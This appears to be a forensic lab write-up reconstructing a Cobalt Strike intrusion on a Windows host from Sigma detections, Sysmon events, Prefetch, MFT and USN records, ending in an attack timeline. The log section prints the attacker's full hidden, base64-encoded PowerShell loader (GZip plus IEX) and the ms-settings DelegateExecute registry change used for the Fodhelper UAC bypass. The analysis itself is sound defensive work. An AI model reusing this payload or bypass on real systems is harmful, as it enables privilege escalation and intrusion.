PID 5468 then participated in a Cobalt Strike post-exploitation named-pipe session.
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $events |
>> Where-Object { $_.detections -match 'Bypass UAC' } |
>> Sort-Object timestamp |
>> Select-Object timestamp, detections, "Event ID", "Event Data" |
>> Format-List
timestamp : 2023-08-10T09:21:03.652996+00:00
detections : Bypass UAC Using DelegateExecute;Shell Open Registry Keys Manipulation
Event ID : 13
Event Data : Details: (Empty)
EventType: SetValue
Image: C:\Windows\system32\reg.exe
ProcessGuid: D875E288-ABFF-64D4-AB02-000000000300
ProcessId: 3624
RuleName: '-'
TargetObject:
HKU\S-1-5-21-414731039-2985344906-4266326170-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute
User: DESKTOP-VQJOLVH\johndoe
UtcTime: 2023-08-10 09:21:03.639
timestamp : 2023-08-10T09:21:16.901935+00:00
detections : Bypass UAC via Fodhelper.exe;Godmode Sigma Rule;Malicious Base64 Encoded PowerShell Keywords in Command
Lines;Non Interactive PowerShell Process Spawned;PowerShell Base64 Encoded FromBase64String
Cmdlet;PowerShell Base64 Encoded IEX Cmdlet;Suspicious Encoded PowerShell Command Line;Suspicious
Execution of Powershell with Base64;Suspicious PowerShell Encoded Command Patterns
Event ID : 1
Event Data : CommandLine: '"PowerShell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAu
AE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG
4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBMAFYAVwBhAFcALwBpAFMAaABiADkAbgBQAHcASwBmADIAZwBKAFUAQgBNAEcA
YgBDAEQATgBHADcAWAAwAEQATQBiAHMAUwB5AEEAcwBkAGwANABVAGwAYwB1AEYASwBlAEsAMQBYAEEAYgBEAG0ALwBmAGYANQA1AGEAQg
BkAEgAbwA2AFAAZABQAFMAegBFAFMASwBxAEgATABkADUAZABTADUAUwA5ADAANQA0AFgAZAB6AHoAaQBqAG0AbwA4AEEAbQAwAHQAMgBT
AHMASgBnAEcAdgBpAFQAZgAzAG0ANABTAEgAMwBPAHgARgBvAHMAWABoAC8AQwBYAGsAQQBYADQAQgBkAGsAMgBJADMARQBzAC8AWABsAD
cATQAwAFUATQBlAFYATAArADAAeAA2AHgARgB5ACsAdwBFADUAYwBVAHAAVwB3AGoAQgBJAG0AZABNAEYASwA0AHUAYgBtADkAeQBUADQA
bABmAG8AdwAyADUATQBWAEgAbgBPADcASgBpADAAZgA0AE4AcgBCAGoANgBhAHUAVQBmADEATABEAFUAQQBzADgAUgBQADMAbgAzADMANQ
ByAEoAWQB3AFIAbgA1AC8AMwBwAFEANwBoAGEAaAB3AFQAegAzAEkAcABpAGYATQBGADYAUgAvAFMAYQBrAHMAWQB1AFoAdABZAE8ANABL
ADUAOQBLAGYAMAA2AGEAWABVAGMAUQBNAEwAdQBSAGUAeABZAHcAdgBoAEwAZAB4AEMAOQBXADEAeABOAGcAdwB3AEUAagBjAG8AegBVAE
8AWAA4AG4AegB1AGoAegA5AHkAaABhAGUANwB5AG4ATwBwAEgAUwBYAEkAagBmAE8ANQArAFQASABtAHgAQwB2AFoAcgBwAHMAcgBTAEgA
OABWAGgATQBQAEgAWQAwAGoAeQB1AFIASABGAEwASQBpAEQARABTACsAdABxAEsALwBJAHAAVQBXAEcAZgBwAHkAQgBIADUAMgB4ADUAdw
BxAFgAbQB6AGsAaABnAG4AdgA4AC8ASgBMAEMANgBsAGsAbgBuADQAUABsAEYATABoAFIAegB4AHoAbQBpAHQASwBUADgAUABmADAALwBD
AHoAOQAvAG8AWgBtAGwAdgBpAGMAZQBxAFQAVQA4AHoAbABoAFEAVABnAG4AYgBFADgAeABpAFUAdABkADUATgBzAHUAbQBaAEUATgBxAE
8AVgBpAGkASgBuAHYANQBBAG8AQQBnAGgARwBlAE0ARgArADYAWQBnAEcAOQBmAGYAQgBLADgAcAAvADgAeABIAFcATABZAFAAZgBwAFYA
KwAwACsANQA4AGYAawBjAEMAWAAzAFYANQBYAHkANwA1AFYAQQBhAHMAcABaAG8AWABqAEoAaQBWACsAaABZADUAVABsAHoAZABrAGMAWA
BPAGMASAA5AE8AKwBTAHEAdwBCAC8AUAB5AFIAWQA0AGYAYQB2AGoAMQBMAFYASgBpADUAeABFAEMAYwB2AEgAUABoADkAbAA2AHUAMwBO
AHoAZABQADIAWgBMAEEAZgBmAEwAVABJAEsAYQBaADMAbABlAHAAWABKAFIARwBBAEEATAB4AGcAQgAxAEYATwBCADkAWgBRAGcAcgBQAD
MAKwBKAHoAZABuAHYAVgBqAEkAcwAvAE4AVgBTADUAYQBsADEAMAB6AHUARQA1ADQALwBnAHEAUABTADAARABhAGoALwBmADMAaABSAHUA
TAA5AGsAagB2AHIAOQBZAEMAWABWAHQAdwBzAFQANQB6ADYAdABCAEkAeAB2AHEARQArADMAbwBJADQALwBpAGEAOABMAG4AUAA0AG8AWg
AyAGIAZwBrADQANgBOADAARgBSAHMARAB6AG4AegB1AGMAawBCAHMANwBjAEoATwBUAGgARAA2ADkASwBOAGEAMgA2AFAAOABUAGIAZAA1
AEIAcQBkAGkAaQBIAHMATQBxAEMAQQBsAEMAdAArAEQATwBjAGMAdwBuACsAdgA1AEkAKwBJAEIAZgArAGMAOQBwAE8AbQBuAEQAWgBRAF
oAdQBVAHAAZgBTAHUAdAA0ADkAUwA3ADIASQBwAGQAYgBMAG8AcgBqAG8AagBSAE4AbwBNADUAeABVAFoAbwBUADUAQgBLADcASwBLAGwA
KwBUAEMAOQBIAGEAcwBLAEQAYgBKAG4ANwBCAG4AZQBVAHUASgB4AGkARgBQAE8AcgB1AGUAZgBDAEIANQBSAGUAWABMAGMAQwBIAHkAbw
BtAHcAUgBCAGQAbwBPAEYAeABIAGgASgBNAGsAUwB0AFkASwBVAHAAZABhAHAAUABtAGMAVQA2AGQASwA0AFQAYwBoADUAeQAwAGsATwB0
AEMAeQBZAEcAbABQAGMAUQBFAHYAZwBnAHUANQBsAHoAawBEAEwATwBMAC8ANQBvAGYAaABkAEsAYwA4AEoANABYAHUAcwBRAEQANgBhAH
cATAA2AFMANQB5AG8ATwBkAGMASwBpAHAATABOACsAUQBRAE8ALwBkAHYAWQBGAC8AcgA1AEYAdwBVAGcAcQBzAHIAUwBlADkAQQBRAHcA
TABNADMAWQBBAFgAcABTAFYAbABIAFAAcABhAHIAdgBoAEQANAB2ADEAMwA4AEwANQB2AE0AZAAvAEIAYgBEAEYAeQBDAFcAUQArAEsAOA
BUAGUAQgBoAHIANgB1AFEAcwBBAE8AegBFADkAUQBUAE0AbQBrAGYAUwBsAEkARQByAHcAcQBYAG4AawBvAHAAWQB5AE0AMQBnADgATgAx
AC8AZgBpAE0ANQBvAFoAUgB5AFUAZABCAFoANABUAFIAUwBUAGUAbgBXAGUAOQBiAGgAOABUAHAARQBUAEoAMgAxAE0AaAAvAFgAagBhAE
4AZQBUACsAMABmAEQASAA2AGYAWQBYADcATAAyAFgAdQArAGcAKwBqAFoAOQBrAEoATQBBAFAAMwBJAFcAZABkAHMAYQA3AEcAZABZAGoA
bQBPADMANAA0AGIAVwBkAGgAaQBoAGQATABqAGIAcABZADMAVwArAHQAaQBlAHEAdgBLAFEAMQBtAG0ATgA5AHAASgBoADgAKwBUAHIARg
BIAHUAZwA5AHoAQQBKAGoARgBtAEQAOQBmAFoAagBQAFgARABqACsAMABGAEwAWAB5ADAAUQAzAFUAVwBaAHIAOABTAHIAVgB1AHcAMgBP
AGcANQBQAHUATAA1AGwARQA1AGsARQB4AG0ARQBjADkAZgBaAFQAMQBWADcAdABjAGQAMABiAEIASABxAGQAZwArADQAeQBhAFMAYwBoAG
EAeQBlAFQAcQBaAEUATQBvADYASABYAG8AOQBYAHQAWABsAHYAeQAvAHIANwBYACsAZABJAGQAeQBBAGIANgA0AGwAcgAzAEoATgBPADMA
SQArAEgATABpAEoAdwA5AEUAdgB0AFQAUQArAHgAcAAxAEMASgBNACsARABHAEEAZgBhAEoAVQA2AG0AVABWAHYAegBmADgAawBKAEoAVg
A0AHAAdwBPAFkANAByAHQAawAwAGIAawBQAG4AeABQAGcAaABFAE8AWQAyAFYAOAB3AHAAdgBYADEAeAAwAEsASwA0AHYANQBhADIAWAB3
AHUARABEAFgAdwBFADAARgBSAFUAeQAzADYAbQB4AHUAaABPADUAKwBxAFMANQBlAGwAYQBuAEoATQBtAHgANwBIAFQAQwBPAEIAVQA2AE
sANQBmADcASgBDAEYAOQBOAGUAeABtADEAbABhAG4AVgBXADMAUgBkAEYAaQBWADkANgBpAGwAdwA1ACsATgBGAHgAdQBzAGYANQAvAE0A
bQAvAEEANQBNAGUAeABCADkAcQBkAGsAbgArAGQAZwBOAHEANgBqAE8ASwBIAEMAYQBnAHAAOQA3AHcAUwA5AGUAeABMAHYAZQBhAHUATA
BqAHQAVQA0ADkAdgBKAFcAMQAyAFEANAAzAHYAQwBTAHEAQQBlADUAcQBkADkAdwBmAHIARgBNAFcAOABUADYATAA5AG0ANQBVAG0AMAB5
AHgAdwBKADMAcABDAGYAbQBIAHEAagB1AHAAZwBIAHgAawA3AFkAWQBEADkATABsAEgAUgB6AHYAVQBPAE0AWABEAEEAZABtAEwAOQBYAE
cAcQBEAGQASgBqAGIAOQBmADcAawBqAFMARgBuAHQAWQB4AGoANQBZAGUANwAzAFQAdgAwAE0ASQBIAGMAdwBkADUAVQBOAFcAVgB4AG8A
bQBzADQANQBWACsANABLAGYATgBRADcAQQB3AE8AdQBwAEEAMQA2AHQAZAAwAHcAcwBkAHcAMgA5AFAAYwBOAGUAbQAxAHMAcQBtAGUASQ
BVAG4AaABsAGQAUgBrAEwAOABFADMAKwBaAEIAOAAyADAAUABkAC8ASABFAFgASQBWADcAMAArAGwAMQAwAFcASABMAFcAdgBQAFIAeQBs
AEwANwBwAHkAWQBkAHkANAB1ADIATwBkAE8AOABmAG4AdgAyAFcAbABsADMASABzAGIASgBvACsANABPAEgAcwB1AE4AbAB0AFkAMAB4AH
UAMwBEAGEAUABqAFEAVABpAGUATABjAG4AOAA5AGYAOQBXAG4AcwA2ADIAagBXAFgANAB6AE0AcAAwAFIAMABtAFkAagBRADEAVgBtAEUA
QQA5ADcAdABOAFIAVgB6AFYAcABqAFQAWAA4AG8AegB6AHYAcQBXAEYAawBzAHcAcQA2AHcAbAA5AGwASQBIAGMAMQBZAHAAWgBHADUARA
BRAHoAVABxADgAaQA0AFUAegBzAFkAbgBUAFIAcAAwAFcAcgBZAFMAOAAxAFkAOQBVAGMAZABBACsASgBFAG0AdgBiAGYAcwBPAEwAZQA2
ADEAcwA4AHgARQBwADUAbwBIAGUAYQBUAG0AcwA3AEkAMAAzAFoAagBJAHgATwBQADkAWAA4AHAAZwBMADMAOABnADEAZgA5AHcARQB2AH
QAKwBXAHcAZwBuAHgAZAB4AG0AcABOAE0AZQBGAE0AOAA1AGEAUgBKAFIAdQB0AHAAaAB6ADMAMABPAEgAMQAvADgAKwBkAEIANwBtAHEA
TwBPAHUATgBNAHEANgBSADEARgBpADMAbABIAEUARAA4AEQAcQBHAEcAaQB6AFcAagB1ADAAaABEADMATABxAG8AWABhAHcANQBUADQAMw
A1AFgANQBxAEgAbQByAFUAVwB0AHUAUgB2AFEAcABUADIAMQBjAG4AdABtAHcAZQA3AEUAUABOAFIAVgA3AEQAVQB4ADIAYgB0AFQAcAB4
AC8AOABMAEgAegBnAGkAVgBSAHoAZgBRAEsAKwBlAGMAagBrAHoASQBWAGEAagBSAGcAZABVADcAaQBWAG8AZABJAEMATwByADIAWQBGAE
oAcQB2AFkAaAA1AFMAYwBaADMAVABjAFAAdQBKAE4ARQBLAGYAeQBYAEkAUwBjAC8AcgAwAEQAMgBJAEcAUwBpAFMASQBhADgASABsAG0A
cgA2AEEAQgA1AGoAZQBxAGEAcgA5AGEAdAAzAGIASwAyADEASwBQAFcAagBQAFcAUwBGAHQAUwA5AFYAUwBZAEsAdgAwAGQASABBADIAcA
BpAHQATQBPAGYAdABlAEYAKwBmAEkAKwBWAGQAcQBPAHoAcgBEAFQAYgBqADIAMgArAGUAbAB6AGkAOABhAEkAZAByAG0AZAAwAGwATQBs
AGsAcgBYAEkAVABNAEoAaAArAFUAagBGAFIALwBGADIAQwAzAHoAdQBYAFMAMgA4AE4ARAA5AG8AYwB0AEYAZgB4AC8AZgBQAG4AcgBDAF
gAZQB2AEIAMAA5AGYAVQBxAGYAcgAyAFAAawAyAC8ANwBPAFMAcwBHAGMAVQByAHUAOQArAGUAcwA2AEwAKwB6AFIAdQA2ADcANQBzACsA
bABzAGgARgBpADgAUgBTADUAMABVADUAaQB3AHIAdQArAGoASABqAEQAOQBNAGkAZABOAEEAeQBvADAAOAB2AG0AUABSAC8AdABYAHcAbg
B6AGkAdwB0AGcATABnAC8ASAAxAFYAVgBGAGQATgA4AEIAaQBzAHYAdgBKAGkAUABYADcAVwA5ACsASAAxADMATQBCAFMAMABYACsAYwBG
AFgANAA5AGsAQQBVAEMAdABlAG4AegAwAG8AMgBtADIAegA4AHUAVgB6AHgATwBnAFYAKwBlADAAcABNAHUARgAvAHgASABaAEYARAA0AG
oAdAA4AFcANQBUAEsAcQBWAEkAdQBsADgAVgB2AHQAUQB6AFcAZgBwADIAWQBWAGgAQQBlADgAMgAvADIAaQBtAEwAKwBlAHcAZgBsAHYA
UwBzADMAYwAvAFUAMgBzAEwASABFADkAOABqAC8ATQBBAGIAZgBlAGYAMwBQADcAQQByACsAcwBoAG4AeQBHADMAcwBaAG8AbwA4AHAARQ
A0AC8AeQBQAHcASAA0AGIAWQB6AFoANAB3ADAAQQBBAEEAPQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJ
AE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG
4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMA
aQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA'
Company: Microsoft Corporation
CurrentDirectory: C:\Windows\system32\
Description: Windows PowerShell
FileVersion: 10.0.19041.2913 (WinBuild.160101.0800)
Hashes: SHA1=EB39E26A364ECD0691A59FCEF61A90334112617E,MD5=BCF01E61144D6D6325650134823198B8,SHA256=B4E7BC24
BF3F5C3DA2EB6E9EC5EC10F90099DEFA91B820F2F3FC70DD9E4785C4,IMPHASH=88CB9A420410BDA787E305B65518A934
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
IntegrityLevel: High
LogonGuid: D875E288-2DE1-64D4-E100-020000000000
LogonId: '0x200e1'
OriginalFileName: PowerShell.EXE
ParentCommandLine: '"C:\Windows\system32\fodhelper.exe" '
ParentImage: C:\Windows\System32\fodhelper.exe
ParentProcessGuid: D875E288-AC0C-64D4-C902-000000000300
ParentProcessId: 908
ParentUser: DESKTOP-VQJOLVH\johndoe
ProcessGuid: D875E288-AC0C-64D4-CA02-000000000300
ProcessId: 6744
Product: Microsoft® Windows® Operating System
RuleName: technique_id=T1548.002,technique_name=Bypass User Access Control
TerminalSessionId: 1
User: DESKTOP-VQJOLVH\johndoe
UtcTime: 2023-08-10 09:21:16.899
This confirms a successful Fodhelper UAC bypass.
09:21:03 reg.exe PID 3624 sets:
HKCU\Software\Classes\ms-settings\Shell\Open\command\DelegateExecute
09:21:16 fodhelper.exe PID 908 launches:
PowerShell.exe PID 6744
PowerShell integrity: High
Command: hidden, encoded, Base64 + GZip + IEX
Fodhelper Parent-Process Resolution
Memory showed PowerShell PID 6744 with missing parent PID 908. We now know PID 908 was fodhelper.exe.
UAC-Bypass Conclusion
The attacker modified the ms-settings DelegateExecute registry key and triggered fodhelper.exe. Fodhelper launched encoded PowerShell PID 6744 with High integrity, confirming that the UAC bypass succeeded.
The next pivot was credential access against LSASS.
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $events |
>> Where-Object { $_.detections -match 'Mimikatz Detection LSASS Access' } |
>> Sort-Object timestamp |
>> Select-Object timestamp, detections, "Event ID", "Event Data" |
>> Format-List
timestamp : 2023-08-10T09:25:08.136679+00:00
detections : Mimikatz Detection LSASS Access;Suspicious In-Memory Module Execution
Event ID : 10
Event Data : CallTrace:
C:\Windows\SYSTEM32\ntdll.dll+9d524|C:\Windows\System32\KERNELBASE.dll+308ee|UNKNOWN(0000022D8024D798)
GrantedAccess: '0x1010'
RuleName: technique_id=T1003,technique_name=Credential Dumping
SourceImage: C:\Windows\system32\rundll32.exe
SourceProcessGUID: D875E288-ACF3-64D4-B003-000000000300
SourceProcessId: 6816
SourceThreadId: 7412
SourceUser: NT AUTHORITY\SYSTEM
TargetImage: C:\Windows\system32\lsass.exe
TargetProcessGUID: D875E288-2DE0-64D4-0C00-000000000300
TargetProcessId: 660
TargetUser: NT AUTHORITY\SYSTEM
UtcTime: 2023-08-10 09:25:08.129
This confirms credential-access behavior through LSASS:
09:25:08 UTC
SYSTEM rundll32.exe PID 6816
→ accessed lsass.exe PID 660
→ GrantedAccess: 0x1010
0x1010 means the process could query LSASS and read its memory, which is consistent with credential dumping.
It also happened immediately after PID 6816 created the Cobalt Strike pipe \postex_9778, so this strongly links the LSASS access to a Cobalt Strike post-exploitation job.
LSASS-Access Conclusion
Cobalt Strike rundll32.exe PID 6816, running as SYSTEM, accessed LSASS with 0x1010 permissions at 09:25:08 UTC. This allowed LSASS memory reading and indicates attempted credential dumping.
The Sigma name mentions Mimikatz, but this event alone confirms LSASS access, not necessarily that Mimikatz specifically was used.
After several filtering iterations against account_tampering.csv, I correlated the user SID and member SID into one account-creation sequence. The same chain could also be reconstructed in Autopsy.
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $accounts |
>> Where-Object {
>> $_.'User SID' -eq 'S-1-5-21-414731039-2985344906-4266326170-1001' -or
>> $_.'Member SID' -eq 'S-1-5-21-414731039-2985344906-4266326170-1001'
>> } |
>> Sort-Object timestamp |
>> Format-Table timestamp, detections, "Event ID", User, "User SID", "Member SID" -AutoSize
timestamp detections Event ID User User SID
--------- ---------- -------- ---- --------
2023-08-10T09:26:05.014474+00:00 User Added to Global Group 4728 None
2023-08-10T09:26:05.015956+00:00 New User Created 4720 Admin S-1-5-21-414731039-2985344906-42...
2023-08-10T09:26:05.042257+00:00 User Added to Local Group 4732 Users
2023-08-10T09:26:13.092977+00:00 User Added to Local Group 4732 Administrators
PS C:\Users\johndoe\Desktop\chainsaw\output_csv>
local account named Admin was created and added to both the Users and Administrators groups. The matching SID confirms all events refer to the same account.
Prefetch Corroboration with PECmd
Execute
C:\Users\johndoe\Desktop\Get-ZimmermanTools\net6\PECmd.exe -d "C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Windows\Prefetch" -q --csv C:\Users\johndoe\Desktop --csvf suspect_prefetch.csv
---------- Processed C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Windows\Prefetch\WMIADAP.EXE-BB21CD77.pf in 0.00189670 seconds ----------
---------- Processed C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Windows\Prefetch\WMIAPSRV.EXE-FC8436DD.pf in 0.02360740 seconds ----------
---------- Processed C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Windows\Prefetch\WMIPRVSE.EXE-E8B8DD29.pf in 0.00823260 seconds ----------
---------- Processed C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Windows\Prefetch\WOWREG32.EXE-CC9C92C1.pf in 0.00947580 seconds ----------
---------- Processed C:\Users\johndoe\Desktop\kapefiles\auto\C%3A\Windows\Prefetch\WWAHOST.EXE-C833417E.pf in 0.11565170 seconds ----------
Processed 192 out of 192 files in 3.0913 seconds
CSV output will be saved to C:\Users\johndoe\Desktop\suspect_prefetch.csv
CSV time line output will be saved to C:\Users\johndoe\Desktop\suspect_prefetch_Timeline.csv
PS C:\Users\johndoe\Desktop\chainsaw\output_csv>
targeting executables based on what we need
PS C:\Users\johndoe\Desktop\chainsaw\output_csv> $pf |
>> Where-Object {
>> $_.ExecutableName -in @(
>> 'RUNDLL32.EXE',
>> 'POWERSHELL.EXE',
>> 'REG.EXE',
>> 'NET.EXE',
>> '8EA5559.EXE'
>> )
>> } |
>> Sort-Object LastRun |
>> Select-Object ExecutableName, RunCount, LastRun,
>> PreviousRun0, PreviousRun1, PreviousRun2,
>> PreviousRun3, PreviousRun4, PreviousRun5, PreviousRun6 |
>> Format-List
ExecutableName : RUNDLL32.EXE
RunCount : 2
LastRun : 2023-08-10 00:23:33
PreviousRun0 : 2023-08-10 00:22:30
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : RUNDLL32.EXE
RunCount : 1
LastRun : 2023-08-10 00:30:05
PreviousRun0 :
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : NET.EXE
RunCount : 1
LastRun : 2023-08-10 00:32:28
PreviousRun0 :
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : RUNDLL32.EXE
RunCount : 1
LastRun : 2023-08-10 09:10:18
PreviousRun0 :
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : RUNDLL32.EXE
RunCount : 1
LastRun : 2023-08-10 09:15:14
PreviousRun0 :
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : REG.EXE
RunCount : 2
LastRun : 2023-08-10 09:21:12
PreviousRun0 : 2023-08-10 09:21:03
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : 8EA5559.EXE
RunCount : 1
LastRun : 2023-08-10 09:23:14
PreviousRun0 :
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : RUNDLL32.EXE
RunCount : 1
LastRun : 2023-08-10 09:23:15
PreviousRun0 :
PreviousRun1 :
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : RUNDLL32.EXE
RunCount : 3
LastRun : 2023-08-10 09:25:51
PreviousRun0 : 2023-08-10 09:25:07
PreviousRun1 : 2023-08-10 09:22:35
PreviousRun2 :
PreviousRun3 :
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
ExecutableName : NET.EXE
RunCount : 10
LastRun : 2023-08-10 09:26:13
PreviousRun0 : 2023-08-10 09:26:04
PreviousRun1 : 2023-08-10 09:16:53
PreviousRun2 : 2023-08-10 09:16:37
PreviousRun3 : 2023-08-10 09:16:37
PreviousRun4 : 2023-08-10 09:16:37
PreviousRun5 : 2023-08-10 09:16:37
PreviousRun6 : 2023-08-10 09:16:37
ExecutableName : POWERSHELL.EXE
RunCount : 5
LastRun : 2023-08-10 09:26:44
PreviousRun0 : 2023-08-10 09:23:49
PreviousRun1 : 2023-08-10 09:10:48
PreviousRun2 : 2023-08-10 00:30:07
PreviousRun3 : 2023-08-10 00:24:31
PreviousRun4 :
PreviousRun5 :
PreviousRun6 :
This Prefetch output gives strong execution corroboration:
09:15:14 RUNDLL32.EXE Initial payload.dll execution
09:21:03 REG.EXE UAC bypass registry modification
09:21:12 REG.EXE Second registry action
09:22:35 RUNDLL32.EXE Additional rundll32 execution
09:23:14 8EA5559.EXE SYSTEM-stage executable
09:23:15 RUNDLL32.EXE Child execution after 8ea5559.exe
09:23:49 POWERSHELL.EXE Second-stage PowerShell
09:25:07 RUNDLL32.EXE Cobalt Strike post-exploitation
09:25:51 RUNDLL32.EXE Additional execution/persistence activity
09:26:04 NET.EXE Admin account creation activity
09:26:13 NET.EXE Admin added to Administrators
09:26:44 POWERSHELL.EXE Additional PowerShell execution
Report-Ready Prefetch Conclusion
Prefetch confirmed execution of
rundll32.exe,reg.exe,8ea5559.exe,powershell.exe, andnet.exeduring the intrusion. The timestamps align with the initial Beacon execution, Fodhelper UAC bypass, SYSTEM-level Cobalt Strike activity, PowerShell execution, and creation of the privilegedAdminaccount.
Prefetch proves execution and run times, but not the exact command line. Sysmon and Security events provide the command and account details.
File Deletion and Recovery
I did not run usn.py because the lab instructions were unclear. MFTECmd would have been another option, so I retained the course screenshot and stated only what that USN entry proves.
Yes. This USN entry confirms deletion:
2023-08-10 09:23:48.609039, flag.txt, ARCHIVE, FILE_DELETE CLOSE
FILE_DELETEmeansflag.txtwas deleted.CLOSEmeans the file handle was closed after the operation.- Time: 09:23:48 UTC
Note:
The USN Journal records
flag.txtbeing deleted at 09:23:48 UTC. This occurred shortly after the SYSTEM-level8ea5559.exeandrundll32.exeactivity, but USN alone does not identify which process deleted it.
MFT Explorer showed flag.txt under the Desktop reports folder with the Is Deleted attribute.
When files are deleted from an NTFS file system volume, their MFT entries are marked as free and may be reused, but the data may remain on the disk until overwritten. That’s why recovery isn’t always possible.
pagefile.sys is a designated system file in Windows that supplements your computer’s RAM. When RAM nears its capacity, the system offloads less critical data, like certain files and applications, to the pagefile.sys
pagefile.sys is a designated system file in Windows that supplements your computer’s RAM. When RAM nears its capacity, the system offloads less critical data, like certain files and applications, to the pagefile.
MFT Confirmation
Using MFTECmd, we located the following record:
with mft records
PS C:\Users\johndoe> C:\Users\johndoe\Desktop\Get-ZimmermanTools\net6\MFTECmd.exe -f C:\Users\johndoe\Desktop\files\mft_data --csv C:\Users\johndoe\Desktop\ --csvf mft_csv.csv
MFTECmd version 1.2.2.1
Author: Eric Zimmerman ([email protected])
https://github.com/EricZimmerman/MFTECmd
Command line: -f C:\Users\johndoe\Desktop\files\mft_data --csv C:\Users\johndoe\Desktop\ --csvf mft_csv.csv
Warning: Administrator privileges not found!
File type: Mft
Processed C:\Users\johndoe\Desktop\files\mft_data in 4.0340 seconds
C:\Users\johndoe\Desktop\files\mft_data: FILE records found: 113,899 (Free records: 4,009) File size: 115.2MB
CSV output will be saved to C:\Users\johndoe\Desktop\mft_csv.csv
PS C:\Users\johndoe>
PS C:\Users\johndoe>
PS C:\Users\johndoe> Select-String -Path C:\Users\johndoe\Desktop\mft_csv.csv -Pattern "flag.txt"
Desktop\mft_csv.csv:143975:112346,4,False,104442,6,.\Users\johndoe\Desktop\reports,flag.txt,.txt,63,1,,False,False,False,True,False,False,Archive,DosWindows,2023-08
-08 08:21:40.3050567,2023-08-08 08:23:43.3664676,2023-08-08 08:22:58.2111378,2023-08-08 08:23:43.3664676,2023-08-08 08:23:44.0401723,2023-08-08
08:23:43.3664676,2023-08-08 08:23:51.1904111,2023-08-08 08:23:43.3664676,31120880,232569553,2300,,,
In MFT Explorer, flag.txt is marked Is Deleted, confirming that the file previously existed in the reports folder but was deleted.
Path: C:\Users\johndoe\Desktop\reports\flag.txt
Record: 112346
Extension: .txt
Size: 63 bytes
Status: Deleted
When a file is deleted from NTFS, its MFT entry is marked as available for reuse. The file content may remain on disk until those clusters are overwritten, so recovery is possible but not guaranteed.
Pagefile Recovery
pagefile.sys is Windows’ virtual-memory file. When physical RAM is under pressure, Windows may move memory pages into it.
Because of this, pagefile.sys can contain remnants of:
- File contents
- Process memory
- Commands
- Credentials or strings
- Previously opened documents
Therefore, even though flag.txt was deleted, fragments of its content may still be recoverable from pagefile.sys.
I also reviewed the same period in Autopsy’s timeline.
Given that the incident occurred between 09:13 and 09:30, we can use Autopsy to map out the attacker’s actions chronologically. it uses plasoo
- Limit event types to:
Web Activity: AllOther: All
- Set Display Times in: GMT / UTC
Start: Aug 10, 2023 9:13:00 AMEnd: Aug 10, 2023 9:30:00 AM
Because Autopsy was extremely slow in the lab VM, I retained the HTB-provided timeline screenshots for this part of the record.
Proven Attack Timeline (UTC)
| Time | Confirmed activity | Evidence |
|---|---|---|
| 09:14:39–09:14:41 | Finance08062023.iso was created in johndoe\Downloads after being downloaded from letsgohunt.site |
ISO metadata and Zone.Identifier |
| 09:15:07 | Explorer accessed mounted media \Device\CdRom1\ and documents.lnk |
Security Event ID 4663, Chainsaw |
| 09:15:09 | smartscreen.exe inspected documents.lnk |
Event ID 4663 |
| 09:15:14 | Explorer launched rundll32.exe payload.dll,StartW from E:\ as johndoe |
Sysmon Event ID 1 |
| 09:15:14–09:15:15 | PID 3648 created and connected to Cobalt Strike pipe \MSSE-7725-server |
Sysmon Events 17/18 |
| 09:16:37–09:16:53 | net.exe executed repeatedly, indicating early reconnaissance activity |
Prefetch and Sigma detections |
| 09:21:03 | reg.exe set the ms-settings\Shell\Open\command\DelegateExecute value for Fodhelper UAC bypass |
Sysmon Event ID 13 |
| 09:21:16 | fodhelper.exe launched hidden encoded PowerShell PID 6744 with High integrity |
Sysmon Event ID 1 |
| 09:21:19 | PowerShell decoded a Base64 GZip payload and executed it using IEX |
PowerShell Event ID 4104 |
| 09:22:32 | Scheduled task OneDriveTask was created to execute AppData\Local\svchost.exe |
Autoruns evidence |
| 09:23:14 | \\127.0.0.1\ADMIN$\8ea5559.exe PID 7512 executed as SYSTEM and created Cobalt Strike pipe \MSSE-3332-server |
Sysmon Events 17/18, Prefetch |
